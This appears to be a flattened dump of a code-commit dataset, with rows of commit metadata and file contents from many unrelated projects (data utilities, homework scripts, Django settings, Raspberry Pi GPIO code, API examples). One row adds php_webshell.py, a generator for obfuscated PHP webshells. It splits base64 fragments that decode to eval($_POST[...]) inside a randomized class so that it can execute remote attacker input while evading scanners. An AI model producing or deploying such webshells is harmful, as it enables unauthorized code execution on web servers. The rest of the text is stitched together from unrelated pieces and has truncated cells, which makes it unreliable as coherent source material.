commit stringlengths 40 40 | subject stringlengths 4 1.73k | repos stringlengths 5 127k | old_file stringlengths 2 751 | new_file stringlengths 2 751 | new_contents stringlengths 1 8.98k | old_contents stringlengths 0 6.59k | license stringclasses 13
values | lang stringclasses 23
values |
|---|---|---|---|---|---|---|---|---|
f4202292570eb51e52629ad09280175b42598d52 | Add Divider class | amaotone/murasame | murasame/divider.py | murasame/divider.py | import os
import pandas as pd
from . import CONFIG
conf = CONFIG["divider"]
class Divider(object):
def __init__(self, df, files, base):
self.data = df
self.files = files
self.base = base
self.writers = {}
def _setup_writer(self, outdir):
assert self.files
os... | mit | Python | |
7d987220474d76286c49b5378861854a09798a16 | create project folder | rkastilani/PowerOutagePredictor,rkastilani/PowerOutagePredictor,rkastilani/PowerOutagePredictor | PowerOutagePredictor/Tree/_init_.py | PowerOutagePredictor/Tree/_init_.py | mit | Python | ||
43d9582172cb268f9c2f38f3cd211bbca06b0741 | Create php_webshell.py | hillwah/webshell,360sec/webshell,360sec/webshell,tennc/webshell,hillwah/webshell,360sec/webshell,360sec/webshell,tennc/webshell,360sec/webshell,tennc/webshell,360sec/webshell,tennc/webshell,hillwah/webshell,tennc/webshell,360sec/webshell,hillwah/webshell,tennc/webshell,hillwah/webshell,tennc/webshell,tennc/webshell,hil... | php/php_webshell.py | php/php_webshell.py | import random
#author: pureqh
#github: https://github.com/pureqh/webshell
shell = '''<?php
class {0}{3}
public ${1} = null;
public ${2} = null;
public ${6} = null;
function __construct(){3}
$this->{1} = 'ZXZhbCgkX1BPU';
$this->{6} = '1RbYV0pOw==';
$this->{2} =... | mit | Python | |
87b597fd5363ca14a8e491ba84bedb4486c6676b | Test __bytes__ special method | jongiddy/jute,jongiddy/jute | python3/jute/test/test_jute_bytes.py | python3/jute/test/test_jute_bytes.py | import unittest
from jute import Interface, Dynamic
class BytesLike(Interface):
def __iter__(self):
"""bytes-like object must be iterable."""
def __bytes__(self):
"""Return bytes representation."""
class BytesTestMixin:
def get_test_object(self):
return object()
def test... | mit | Python | |
5e398ae0d8074a3caf11997884d9f719ef047b15 | Define exception for incorrect arguments | ueg1990/soccer-cli,architv/soccer-cli,Saturn/soccer-cli,thurask/soccer-cli,carlosvargas/soccer-cli | soccer/exceptions.py | soccer/exceptions.py | class IncorrectParametersException(Exception):
pass | mit | Python | |
d7020ccb328747922942c56872bcfbec47d451ae | Add cli command class for delete | bjoernricks/python-quilt,vadmium/python-quilt | quilt/cli/delete.py | quilt/cli/delete.py | # vim: fileencoding=utf-8 et sw=4 ts=4 tw=80:
# python-quilt - A Python implementation of the quilt patch system
#
# Copyright (C) 2012 Björn Ricks <bjoern.ricks@googlemail.com>
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as ... | mit | Python | |
8dfd59a639bcf540ea4c5a52e91c5f8a7a198554 | Initialize affineKeyTest | JoseALermaIII/python-tutorials,JoseALermaIII/python-tutorials | books/CrackingCodesWithPython/Chapter14/affineKeyTest.py | books/CrackingCodesWithPython/Chapter14/affineKeyTest.py | # This program proves that the keyspace of the affine cipher is limited
# to less than len(SYMBOLS) ^ 2.
import affineCipher, cryptomath
message = 'Make things as simple as possible, but not simpler.'
for keyA in range(2, 80):
key = keyA * len(affineCipher.SYMBOLS) + 1
if cryptomath.gcd(keyA, len(affineCiphe... | mit | Python | |
77094bb723d35fd23d909e0c59b712eeb7612495 | Add fibonacci HW | bigfatpanda-training/pandas-practical-python-primer,bigfatpanda-training/pandas-practical-python-primer | training/level-1-the-zen-of-python/dragon-warrior/Fibonacci/stapp_Fibtest.py | training/level-1-the-zen-of-python/dragon-warrior/Fibonacci/stapp_Fibtest.py | """
Compute Fibonacci sequence and learn python.
Steve Tapp
"""
import sys
import timeit
fib_seq = [0, 1]
fib_even_sum = 0
for fibnum in range (2, 50):
fib_seq.append(fib_seq[-2] + fib_seq[-1])
print (fibnum, fib_seq[fibnum])
if fib_seq[-1] >= 4000000:
break
if not fib_seq[fibnum] % 2:
... | artistic-2.0 | Python | |
b1a851d6f5dd47790459564a55405627d9b7a9e4 | Add news date and title scrapper from ist's news page. | iluxonchik/python-general-repo | scripts/webscraping/ist_news_titles.py | scripts/webscraping/ist_news_titles.py | from urllib.request import urlopen
from bs4 import BeautifulSoup
import sys, io
sys.stdout = io.TextIOWrapper(sys.stdout.buffer,'cp437','backslashreplace')
html = urlopen("http://tecnico.ulisboa.pt/pt/noticias/")
bsObj = BeautifulSoup(html, "html.parser")
for news_wrapper in bsObj.find("div", {"id":"content_wrapper... | mit | Python | |
bd9496bf726aff0472a52d6c5e2a0db96f2af8e2 | Add allow_skipped_files option to DJANGO_DEFAULTS | martinogden/djangae,nealedj/djangae,armirusco/djangae,leekchan/djangae,jscissr/djangae,chargrizzle/djangae,chargrizzle/djangae,nealedj/djangae,martinogden/djangae,asendecka/djangae,asendecka/djangae,kirberich/djangae,wangjun/djangae,wangjun/djangae,stucox/djangae,stucox/djangae,pablorecio/djangae,trik/djangae,jscissr/d... | djangae/core/management/__init__.py | djangae/core/management/__init__.py | import os
import sys
import argparse
import djangae.sandbox as sandbox
from djangae.utils import find_project_root
# Set some Django-y defaults
DJANGO_DEFAULTS = {
"storage_path": os.path.join(find_project_root(), ".storage"),
"port": 8000,
"admin_port": 8001,
"api_port": 8002,
"automatic_restart"... | import os
import sys
import argparse
import djangae.sandbox as sandbox
from djangae.utils import find_project_root
# Set some Django-y defaults
DJANGO_DEFAULTS = {
"storage_path": os.path.join(find_project_root(), ".storage"),
"port": 8000,
"admin_port": 8001,
"api_port": 8002,
"automatic_restart"... | bsd-3-clause | Python |
6317a43baed719bddd84863b750018a6ef1287b0 | add new test | sequana/sequana,sequana/sequana,sequana/sequana,sequana/sequana,sequana/sequana | test/test_canvas.py | test/test_canvas.py | import sequana.resources.canvas.bar as bar
def test_bar():
data = [
{"name":"A", "data":{"R1":10, "R2":90}},
{"name":"B", "data":{"R1":90, "R2":10}}]
bar.stacked_bar("title", "ACGT", datalist=data)
| bsd-3-clause | Python | |
2d9712f5b1fecb8a1f6c989ed835a9476b5cdab5 | Create MeshTextureCoordinates.py | stgeorges/pythonscripts | MeshTextureCoordinates.py | MeshTextureCoordinates.py | #***********************************************************************************************************#
#********* Get normalized 2-D texture coordinates of a mesh object *****************************************#
#********* by Djordje Spasic ***********************************************************************... | unlicense | Python | |
ed56dc3fc8411baa5d2948591e9e24fc31b7444d | Add files via upload | josedolz/LiviaNET | src/processLabels.py | src/processLabels.py | """
Copyright (c) 2016, Jose Dolz .All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice,
this list of conditions and the fol... | mit | Python | |
0301a96b8c9592c58fe41eded24a39d503f4fcb2 | Create ExtendedJsonRpcApi.py | hal0x2328/neo-python,hal0x2328/neo-python | neo/api/JSONRPC/ExtendedJsonRpcApi.py | neo/api/JSONRPC/ExtendedJsonRpcApi.py | from neo.Core.Blockchain import Blockchain
from neo.api.JSONRPC.JsonRpcApi import JsonRpcApi, JsonRpcError
from neo.Implementations.Wallets.peewee.UserWallet import UserWallet
from neocore.UInt256 import UInt256
import datetime
class ExtendedJsonRpcApi:
"""
Extended JSON-RPC API Methods
"""
def get_n... | mit | Python | |
04e7a43c9516fc9834727c3087863c6282da2dbf | Add tests.py to app skeleton. | rapidsms/rapidsms-legacy,rapidsms/rapidsms-legacy,rapidsms/rapidsms-legacy | lib/rapidsms/skeleton/app/tests.py | lib/rapidsms/skeleton/app/tests.py | from rapidsms.tests.scripted import TestScript
from app import App
class TestApp (TestScript):
apps = (App,)
# define your test scripts here.
# e.g.:
#
# testRegister = """
# 8005551212 > register as someuser
# 8005551212 < Registered new user 'someuser' for 8005551212!
# 8005551... | bsd-3-clause | Python | |
d358bf3f103069c2f5a85da15331f808df746064 | Bump version | walkr/oi,danbob123/oi | oi/version.py | oi/version.py | VERSION = '0.3.0'
| VERSION = '0.2.1'
| mit | Python |
19beca7e8166cbab42937ccbd8e9c705ca4913dd | Bump version | danbob123/oi,walkr/oi | oi/version.py | oi/version.py | VERSION = '0.1.0'
| VERSION = '0.0.1'
| mit | Python |
6f2a9cbf9e571855074e898d22480d61277a3eda | Add experimental polling DB backend. | thread/django-lightweight-queue,thread/django-lightweight-queue,lamby/django-lightweight-queue,prophile/django-lightweight-queue,prophile/django-lightweight-queue | django_lightweight_queue/backends/db.py | django_lightweight_queue/backends/db.py | import time
import datetime
from django.db import connection, models, ProgrammingError
from ..job import Job
class DatabaseBackend(object):
TABLE = 'django_lightweight_queue'
FIELDS = (
models.AutoField(name='id', primary_key=True),
models.CharField(name='queue', max_length=255),
mod... | bsd-3-clause | Python | |
2498e40294cf56f40fb869d30844c3a8223267a0 | Create initdb command | okfn/hashtag-listener,okfn/hashtag-listener | initdb.py | initdb.py | #!/usr/bin/env python
from app import db
db.create_all()
| mit | Python | |
3c8eb0563f3997fc068d039b18452eaa98da3122 | Add a script useful for downloading large avatar images from Atom feeds | squirrel2038/thearchdruidreport-archive,squirrel2038/thearchdruidreport-archive,squirrel2038/thearchdruidreport-archive | download_avatars.py | download_avatars.py | #!/usr/bin/env python3
import PIL.Image
import io
import json
import requests
import post_list
import web_cache
# Split this file into two modules, because we need to move web_cache out of
# the way between the two steps. (We want to isolate the avatar HTTP requests)
# into its own thing.
def _make_avatar_url_lis... | mit | Python | |
7e1ea3516aa6b4d41748a9ae63464a32ff16e018 | Test variable module | raviqqe/tensorflow-extenteten,raviqqe/tensorflow-extenteten | extenteten/variable_test.py | extenteten/variable_test.py | from .util import static_shape, static_rank
from .variable import variable
def test_variable():
shape = [123, 456]
assert static_shape(variable(shape)) == shape
initial = [float(n) for n in shape]
assert static_rank(variable(initial)) == 1
| unlicense | Python | |
1d5d76f0166619f3004adb02a902b0739dc55bd6 | Create balanceamento.py | jeffmorais/estrutura-de-dados | balanceamento.py | balanceamento.py | import unittest
class Pilha():
def __init__(self):
self._lista = []
def vazia(self):
return not bool(self._lista)
def topo(self):
if self._lista:
return self._lista[-1]
raise PilhaVaziaErro()
def empilhar(self, valor):
self._lista.append(valor)
... | mit | Python | |
58f85213c72b194fe44da36972436c4e7bbdd681 | add sina http util | AsherYang/ThreeLine,AsherYang/ThreeLine,AsherYang/ThreeLine | server/crawler/sinawb/SinaHttpUtil.py | server/crawler/sinawb/SinaHttpUtil.py | # -*- coding:utf-8 -*-
"""
Author: AsherYang
Email : ouyangfan1991@gmail.com
Date : 2017/11/22
Desc : Sina Http Util 参考 Shserver 微店 OpenRequest.py
"""
try:
from cStringIO import StringIO
except ImportError:
from StringIO import StringIO
import gzip, json, urllib, urllib2, collections,time,logging
def http_... | apache-2.0 | Python | |
54285887dc96e3d5d98ca4c02df2a04d49ac69f7 | Add TeamPermission tests | alexm92/sentry,TedaLIEz/sentry,JamesMura/sentry,kevinlondon/sentry,BayanGroup/sentry,gg7/sentry,jokey2k/sentry,argonemyth/sentry,hongliang5623/sentry,felixbuenemann/sentry,TedaLIEz/sentry,1tush/sentry,Natim/sentry,JTCunning/sentry,llonchj/sentry,Natim/sentry,imankulov/sentry,vperron/sentry,wong2/sentry,1tush/sentry,Bui... | tests/sentry/api/bases/test_team.py | tests/sentry/api/bases/test_team.py | from __future__ import absolute_import
from mock import Mock
from sentry.api.bases.team import TeamPermission
from sentry.models import ApiKey, OrganizationMemberType, ProjectKey
from sentry.testutils import TestCase
class TeamPermissionBase(TestCase):
def setUp(self):
self.org = self.create_organizatio... | bsd-3-clause | Python | |
aeabc254a09047a58ea5b5c16fb2c5e7e9008691 | Test generator expressions | alexmojaki/snoop,alexmojaki/snoop | tests/samples/generator_expression.py | tests/samples/generator_expression.py | import snoop
@snoop(depth=2)
def main():
return list(x * 2 for x in [1, 2])
if __name__ == '__main__':
main()
expected_output = """
12:34:56.78 >>> Call to main in File "/path/to_file.py", line 5
12:34:56.78 5 | def main():
12:34:56.78 6 | return list(x * 2 for x in [1, 2])
12:34:56.78 >>> St... | mit | Python | |
8e049c956045b3d5cc37db0041e71b637f556408 | add DB migration | JING-TIME/ustc-course,JING-TIME/ustc-course,JING-TIME/ustc-course,JING-TIME/ustc-course,JING-TIME/ustc-course | migrations/versions/2316c9808a5_.py | migrations/versions/2316c9808a5_.py | """empty message
Revision ID: 2316c9808a5
Revises: 26fbbffb991
Create Date: 2015-04-16 13:46:41.849087
"""
# revision identifiers, used by Alembic.
revision = '2316c9808a5'
down_revision = '26fbbffb991'
from alembic import op
import sqlalchemy as sa
def upgrade():
### commands auto generated by Alembic - plea... | agpl-3.0 | Python | |
0ca24ff03f6382c23995f662b678e457a8394140 | Add script to bump symbol versions | agx/libvirt-debian,agx/libvirt-debian,agx/libvirt-debian,agx/libvirt-debian,agx/libvirt-debian | debian/bump-symbols.py | debian/bump-symbols.py | #!/usr/bin/python
#
# Bump symbol versions of libvirt0
# Usage: ./bump-symbol-versions 1.2.16~rc2
import os
import re
import sys
import shutil
import subprocess
#import gbp.git.GitRepository
symbols_file = 'debian/libvirt0.symbols'
symbols_new_file = symbols_file + '.new'
symbols = open(symbols_file)
symbols_new =... | lgpl-2.1 | Python | |
4435eb504b10855088f006456dfface89a4a8798 | create first easy mixin | ebertti/django-admin-easy,ebertti/django-admin-easy | easy/admin/mixin.py | easy/admin/mixin.py | # coding: utf-8
from django.conf.urls import url
from django.contrib import messages
from django.core.urlresolvers import reverse
from django.http.response import HttpResponseRedirect
class MixinEasyViews(object):
def get_urls(self):
urls = super(MixinEasyViews, self).get_urls()
info = self.mode... | mit | Python | |
27640acedbd945d22db1f26dce75c107c21e988d | Add tests suite for web oriented tags. | TamiaLab/PySkCode | tests/tests_tags/tests_webspecials.py | tests/tests_tags/tests_webspecials.py | """
SkCode web oriented tag test code.
"""
import unittest
from skcode.etree import TreeNode
from skcode.tags import (HorizontalLineTagOptions,
LineBreakTagOptions,
DEFAULT_RECOGNIZED_TAGS)
class HorizontalLineTagTestCase(unittest.TestCase):
""" Tests suite for ... | agpl-3.0 | Python | |
a5950853ae7cfe9ac4fce7f297722231feae2f44 | switch if/else per David's review comments | qwil/plaid-python,LawnmowerIO/plaid-python,Affirm/plaid-python,plaid/plaid-python,erikbern/plaid-python | plaid/http.py | plaid/http.py | ##############################################################################
# Helper module that encapsulates the HTTPS request so that it can be used
# with multiple runtimes. PK Mar. 14
##############################################################################
import os
import urllib
# Command line
def _reque... | ##############################################################################
# Helper module that encapsulates the HTTPS request so that it can be used
# with multiple runtimes. PK Mar. 14
##############################################################################
import os
import urllib
# Command line
def _reque... | mit | Python |
a5c99fe8e37079a2663fe90644d3925d6dc7a5d0 | Add another example that works offline | seleniumbase/SeleniumBase,mdmintz/SeleniumBase,seleniumbase/SeleniumBase,mdmintz/SeleniumBase,mdmintz/SeleniumBase,mdmintz/SeleniumBase,seleniumbase/SeleniumBase,seleniumbase/SeleniumBase | examples/offline_examples/test_request_fixture.py | examples/offline_examples/test_request_fixture.py | import pytest
@pytest.mark.offline
def test_request_fixture(request):
sb = request.getfixturevalue('sb')
sb.open("data:text/html,<p>Hello<br><input></p>")
sb.assert_element("html > body")
sb.assert_text("Hello", "body p")
sb.type("input", "Goodbye")
sb.click("body p")
sb.tearDow... | mit | Python | |
f31fb6a06c9f0126f43e7b1208502f67f7605d33 | Add the-love-letter-mistery | davide-ceretti/hackerrank.com | the-love-letter-mystery/solution.py | the-love-letter-mystery/solution.py | from math import fabs
def solve(string):
"""
abc -> abb -> aba (2)
abcba (0)
abcd -> abcc -> abcb -> abca -> abba (4)
cba -> bba -> aba (2)
"""
if len(string) == 1:
return True
ords = [ord(each) for each in string]
length = len(ords)
diffs = sum([fabs(ords[i] - ords[... | mit | Python | |
01589a78cbe3bcabd116b9943f23ab3e8bc6a158 | Create irrigate.py | Python-IoT/Smart-IoT-Planting-System,Python-IoT/Smart-IoT-Planting-System | device/src/irrigate.py | device/src/irrigate.py | #!/usr/bin/env python
#In this project, I use a servo to simulate the water tap.
#Roating to 90 angle suggest that the water tap is open, and 0 angle means close.
from pyb import Servo
servo=Servo(1) # X1
def irrigate_start():
servo.angle(90)
def irrigate_stop():
servo.angle(0)
| mit | Python | |
a2296ae2165b60ba182d540f729a099183169c92 | Add problem 40, decimal fraction digits | dimkarakostas/project-euler | problem_40.py | problem_40.py | from time import time
def main():
fractional_part = ''
i = 1
while len(fractional_part) < 1000000:
fractional_part += str(i)
i += 1
prod = 1
for i in [1, 10, 100, 1000, 10000, 100000, 1000000]:
prod *= int(fractional_part[i-1])
print 'Product:', prod
if __name__ == ... | mit | Python | |
e9b6a27a423e765033d04801762f9f0356cd992a | Add urls.py ,placeholder for urls mappings in the plots app | ankeshanand/benchmark,ankeshanand/benchmark,ankeshanand/benchmark,ankeshanand/benchmark | plots/urls.py | plots/urls.py | __author__ = 'ankesh'
from django.conf.urls import patterns, url
| bsd-2-clause | Python | |
dc1bcdfed7439e1e00fdcad058fd9acbc1fac466 | add initadmin to management base commands | fiduswriter/fiduswriter,fiduswriter/fiduswriter,fiduswriter/fiduswriter,fiduswriter/fiduswriter | fiduswriter/base/management/commands/initadmin.py | fiduswriter/base/management/commands/initadmin.py | # code adapted by github.com/jobdiogenes from https://github.com/dkarchmer/aws-eb-docker-django/blob/master/authentication/manage
# used to help automation install like in docker.
# Create admins accounts if no users exists.
# Password 'admin' is used unless defined by ADMIN_PASSWORD
from django.conf import settings
f... | agpl-3.0 | Python | |
dba312802cbf73f54c7cc347d45430ac0d8f016c | add TicketFactory | Christophe31/django-tickets,byteweaver/django-tickets,byteweaver/django-tickets,Christophe31/django-tickets | tickets/tests/factories.py | tickets/tests/factories.py | from django.contrib.auth.models import User
import factory
from tickets.models import Ticket
class UserFactory(factory.Factory):
FACTORY_FOR = User
class TicketFactory(factory.Factory):
FACTORY_FOR = Ticket
creator = factory.LazyAttribute(lambda a: UserFactory())
| bsd-3-clause | Python | |
9d77092729e534b19d75b38dd700df25a009fa49 | Add script to convexify the energies of a conservation tracking JSON model | chaubold/hytra,chaubold/hytra,chaubold/hytra | toolbox/convexify_costs.py | toolbox/convexify_costs.py | import sys
import commentjson as json
import os
import argparse
import numpy as np
def listify(l):
return [[e] for e in l]
def convexify(l):
features = np.array(l)
if features.shape[1] != 1:
raise InvalidArgumentException('This script can only convexify feature vectors with one feature per state!')
bestStat... | mit | Python | |
9090f48b5abb5c60c8629613724ff7309dee07f5 | Fix restructured text rendering in simple_osmesa.py | michaelaye/vispy,dchilds7/Deysha-Star-Formation,drufat/vispy,ghisvail/vispy,Eric89GXL/vispy,jdreaver/vispy,julienr/vispy,jdreaver/vispy,dchilds7/Deysha-Star-Formation,dchilds7/Deysha-Star-Formation,ghisvail/vispy,michaelaye/vispy,bollu/vispy,inclement/vispy,michaelaye/vispy,julienr/vispy,jdreaver/vispy,julienr/vispy,bo... | examples/offscreen/simple_osmesa.py | examples/offscreen/simple_osmesa.py | # -*- coding: utf-8 -*-
# vispy: testskip
# Copyright (c) 2015, Vispy Development Team.
# Distributed under the (new) BSD License. See LICENSE.txt for more info.
"""
This is a simple osmesa example that produce an image of a cube
If you have both osmesa and normal (X) OpenGL installed, execute with
something like the ... | # -*- coding: utf-8 -*-
# vispy: testskip
# Copyright (c) 2015, Vispy Development Team.
# Distributed under the (new) BSD License. See LICENSE.txt for more info.
"""
This is a simple osmesa example that produce an image of a cube
If you have both osmesa and normal (X) OpenGL installed, execute with
something like the ... | bsd-3-clause | Python |
a951a29062f1fb7946b4d227f6fa0b3b3d5b9a04 | Add a bindings.gyp file for use with node-gyp. | Jonekee/node-serialport,nebrius/node-serialport,Scypho/node-serialport,voodootikigod/node-serialport,pr0duc3r/node-serialport,bmathews/node-serialport,bmathews/node-serialport,mcanthony/node-serialport,tmpvar/node-serialport,Scypho/node-serialport,usefulthink/node-serialport,hybridgroup/node-serialport,alex1818/node-se... | bindings.gyp | bindings.gyp | {
'targets': [
{
'target_name': 'serialport_native',
'sources': [ 'serialport_native/serialport_native.cc' ]
}
]
}
| mit | Python | |
2a9e403d154870e29fa751bf598b5fb9d8662668 | Create send_sensor_data.py | lupyuen/iotapps,lupyuen/iotapps | send_sensor_data.py | send_sensor_data.py | #!/usr/bin/env python
#
# GrovePi Example for using the Grove Temperature Sensor (http://www.seeedstudio.com/wiki/Grove_-_Temperature_Sensor)
#
# The GrovePi connects the Raspberry Pi and Grove sensors. You can learn more about GrovePi here: http://www.dexterindustries.com/GrovePi
#
# Have a question about this examp... | mit | Python | |
34f7d76cb1f56280b636f4b98968c17a8b9a2c14 | Create TestRSS.py | AllwinLeoPrakash/RSSFeedCollector | TestRSS.py | TestRSS.py | '''
Created on Jul 17, 2014
@author: ALLWINLEOPRAKASH
'''
import RssFeedCollector as rs
import datetime
rs.OPFileCheck()
var = 1
# Continuous active loop to retrieve real time data
while var == 1:
sec = datetime.datetime.now().second
# Check and append the new entries every 20 seconds
if sec % 20 ==... | epl-1.0 | Python | |
3024ff0fe1343dac11adba82ec28d3a27f4e0d70 | add TXT | liam-middlebrook/gallery,liam-middlebrook/gallery,liam-middlebrook/gallery,liam-middlebrook/gallery | gallery/file_modules/txt.py | gallery/file_modules/txt.py | import os
from gallery.file_modules import FileModule
from gallery.util import hash_file
class TXTFile(FileModule):
def __init__(self, file_path):
FileModule.__init__(self, file_path)
self.mime_type = "text/plain"
| mit | Python | |
35da1d5dd86fd597f31c2fb816b2b7e3f89ab021 | Revert "removing settings.py, since it's ignored by .gitignore" | zg/CSCWebsite,rit-csc/CSCWebsite,rit-csc/CSCWebsite,zg/CSCWebsite,rit-csc/CSCWebsite,zg/CSCWebsite | csc_new/csc_new/settings.py | csc_new/csc_new/settings.py | """
Django settings for csc_new project.
For more information on this file, see
https://docs.djangoproject.com/en/1.6/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/1.6/ref/settings/
"""
# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
im... | mit | Python | |
8bdc5c69ef2a45ca4eaeef6f096e1ddf688801b4 | Create Weather.py | Redder/Weather-App-Python | Weather.py | Weather.py | #Import all the libraries we need
import unirest
import json
import os
#Assign X to 1 for our loop (We can use a While True Loop too)
x = 1
#Prints Welcome Screen
os.system('cls')
print('================================')
print('Welcome to the Weather App!')
print('Press Enter to Continue!')
print('====================... | mit | Python | |
d4c30f4e70dabe18c73eeb0feaa49ee4dcead2ff | Create groceries.py | oliverwreath/Wide-Range-of-Webs,oliverwreath/Wide-Range-of-Webs,oliverwreath/Wide-Range-of-Webs,oliverwreath/Wide-Range-of-Webs | groceries.py | groceries.py | groceries = ["banana", "orange", "apple"]
stock = { "banana": 6,
"apple": 0,
"orange": 32,
"pear": 15
}
prices = { "banana": 4,
"apple": 2,
"orange": 1.5,
"pear": 3
}
# Write your code below!
def compute_bill(food):
total = 0
for item in food:
if stock[item] > 0:
... | agpl-3.0 | Python | |
a8dc3e1143290495ab56b30660e7fbe58fcaa36c | add analysis script | gammapy/fhee | v01/analyse_data.py | v01/analyse_data.py | # this analysis script finds the photons with the highest energy for the crab nebula from the 2FHL event list
from numpy import *
from astropy.io import fits
hdulist=fits.open('gll_psch_v08.fit.gz')
print hdulist.info()
datalist=hdulist[1] #hdu=1 is the source catalog, found using "ftlist" or "hdulist.info()"
... | mit | Python | |
52a83fa5fc6ca029c87b50c64e0e3d08bdf1d081 | Create pyton_test.py | tpaivaa/uraspi,tpaivaa/uraspi | pyton_test.py | pyton_test.py | import RPi.GPIO as GPIO
GPIO.setmode(GPIO.BCM)
GPIO.setup(2, GPIO.IN, pull_up_down=GPIO.PUD_UP)
GPIO.setup(7, GPIO.IN, pull_up_down=GPIO.PUD_UP)
GPIO.setup(17, GPIO.OUT)
GPIO.setup(22, GPIO.OUT)
def verantavalo(channel):
time.sleep(0.1)
if GPIO.input(2) != GPIO.HIGH:
return
if(GPIO.input(17) == ... | mit | Python | |
096ea11231668e0fd03c1628c255cf0b08c0bfc3 | Create HouseCupBot.py | chrisxonPlugins/chrisxon,DW3B/HouseCupBot | HouseCupBot.py | HouseCupBot.py | import praw, time, sqlite3, operator, re
#Bot setup
username = 'HouseCupBot'
password = ''
userAgent = 'HouseCupBot. Keeps a running score for Hogwarts houses. Author: u/d_web'
houses = ['gryffindor','hufflepuff','ravenclaw','slytherin']
tagLine = 'HouseCupBot by u/D_Web. Type "HouseCupBot !help" for more info.... | mit | Python | |
5411224e9683c9ee6a8b06ff9b666a93948e6a69 | Create example.py | garygitt/pyqtable | example.py | example.py | #TABLE LOAD
self.table_data = QtGui.QTableView()
cols=['rowid','data']
data = [(1,'data1'),(2,'data2'),]
table.load(self.table_data,data,cols,order=0,col=0)
#TABLE SORT
def context(self,pos):
mainmenu = QtGui.QMenu("Menu", self)
mainmenu.addAction("Sort")
C = self.mapFromGlobal(QCursor.pos())
pos.setY(C.... | artistic-2.0 | Python | |
8e1e905f5dbdaccc396ec74fb7c05a93d79c35ff | Add example to show failure for #62. | talitarossari/flasgger,flasgger/flasgger,rochacbruno/flasgger,rochacbruno/flasgger,talitarossari/flasgger,rochacbruno/flasgger,talitarossari/flasgger,flasgger/flasgger,flasgger/flasgger,flasgger/flasgger | examples/example_blueprint.py | examples/example_blueprint.py | from flask import Blueprint, Flask, jsonify
from flasgger import Swagger
from flasgger.utils import swag_from
app = Flask(__name__)
example_blueprint = Blueprint("example_blueprint", __name__)
@example_blueprint.route('/usernames', methods=['GET', 'POST'])
@swag_from('username_specs.yml', methods=['GET'])
@swag_f... | mit | Python | |
158d3c6478f4d9d83d166504febc2ba1ba4e58f7 | Add example. | Kami/python-libcloud-dns-to-bind-zone | example.py | example.py | # Licensed to Tomaz Muraus under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# Tomaz muraus licenses this file to You under the Apache License, Version 2.0
# (the "License"); you may not use this file except in... | apache-2.0 | Python | |
7c87974c862184df8df40595ba26f5ff7082c4a6 | Add a CIB routing fuzzer | gatecat/prjoxide,gatecat/prjoxide,gatecat/prjoxide | fuzzers/LIFCL/002-cib-routing/fuzzer.py | fuzzers/LIFCL/002-cib-routing/fuzzer.py | from fuzzconfig import FuzzConfig
from interconnect import fuzz_interconnect
import re
configs = [
((1, 18), FuzzConfig(job="CIBTROUTE", device="LIFCL-40", sv="../shared/route_40.v", tiles=["CIB_R1C18:CIB_T"]), set(["TAP_CIBT_R1C14:TAP_CIBT"])),
((18, 1), FuzzConfig(job="CIBLRROUTE", device="LIFCL-40", sv="../... | isc | Python | |
bbbdaed24390b7c5808cc7233b6ad0566c09f188 | add python C wrapper; mostly empty for now | jobovy/galpy,followthesheep/galpy,followthesheep/galpy,jobovy/galpy,jobovy/galpy,followthesheep/galpy,jobovy/galpy,followthesheep/galpy | galpy/orbit_src/integratePlanarOrbit.py | galpy/orbit_src/integratePlanarOrbit.py | def integratePlanarOrbit_leapfrog(pot,yo,t,rtol=None,atol=None):
"""
NAME:
integratePlanarOrbit_leapfrog
PURPOSE:
leapfrog integrate an ode for a planarOrbit
INPUT:
pot - Potential or list of such instances
yo - initial condition [q,p]
t - set of times at which one wan... | bsd-3-clause | Python | |
7b560ea31ad4e308d01926f1e73cb6deb6b24a6a | Clarify location of settings/local.py-dist | mythmon/airmozilla,mythmon/airmozilla,anu7495/airmozilla,tannishk/airmozilla,EricSekyere/airmozilla,zofuthan/airmozilla,blossomica/airmozilla,EricSekyere/airmozilla,lcamacho/airmozilla,ehsan/airmozilla,kenrick95/airmozilla,kenrick95/airmozilla,mythmon/airmozilla,zofuthan/airmozilla,anjalymehla/airmozilla,EricSekyere/ai... | airmozilla/settings/__init__.py | airmozilla/settings/__init__.py | from .base import *
try:
from .local import *
except ImportError, exc:
exc.args = tuple(['%s (did you rename airmozilla/settings/local.py-dist?)' % exc.args[0]])
raise exc
| from .base import *
try:
from .local import *
except ImportError, exc:
exc.args = tuple(['%s (did you rename settings/local.py-dist?)' % exc.args[0]])
raise exc
| bsd-3-clause | Python |
70b21201df3c1b6e476f8dbfee53490bd16a6d00 | Add Fabric fabfile for project management | riggsd/davies | fabfile.py | fabfile.py | """
Fabric fabfile for Davies cave survey package.
Run `pip install fabric` to install, then `fab --list` to see available commands.
"""
from fabric.api import local, lcd, with_settings
def test():
"""Run project unit tests."""
local('python -m unittest discover -v -s tests')
unittest = test
@with_setting... | mit | Python | |
609784dc106e01800eed0a7ccf88f82d6977d408 | Add missed language update migrations | cdubz/babybuddy,cdubz/babybuddy,cdubz/babybuddy | babybuddy/migrations/0008_auto_20200120_0622.py | babybuddy/migrations/0008_auto_20200120_0622.py | # Generated by Django 3.0.2 on 2020-01-20 14:22
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('babybuddy', '0007_auto_20190607_1422'),
]
operations = [
migrations.AlterField(
model_name='settings',
name='languag... | bsd-2-clause | Python | |
ce21eafe126407229ae81d926fccd311035eb7cc | Add local fnmatch module (from Python 2.6) | pocke/editorconfig-vim,benjifisher/editorconfig-vim,johnfraney/editorconfig-vim,johnfraney/editorconfig-vim,VictorBjelkholm/editorconfig-vim,johnfraney/editorconfig-vim,benjifisher/editorconfig-vim,pocke/editorconfig-vim,dublebuble/editorconfig-gedit,dublebuble/editorconfig-gedit,VictorBjelkholm/editorconfig-vim,pocke/... | fnmatch.py | fnmatch.py | """Filename matching with shell patterns.
fnmatch(FILENAME, PATTERN) matches according to the local convention.
fnmatchcase(FILENAME, PATTERN) always takes case in account.
The functions operate by translating the pattern into a regular
expression. They cache the compiled regular expressions for speed.
The function... | bsd-2-clause | Python | |
13a45b0b1ab811d6e0ba131380961fba59e8963c | Create w3_1.py | s40523215/2016fallcp_hw,s40523215/2016fallcp_hw,s40523215/2016fallcp_hw | w3_1.py | w3_1.py | print("test")
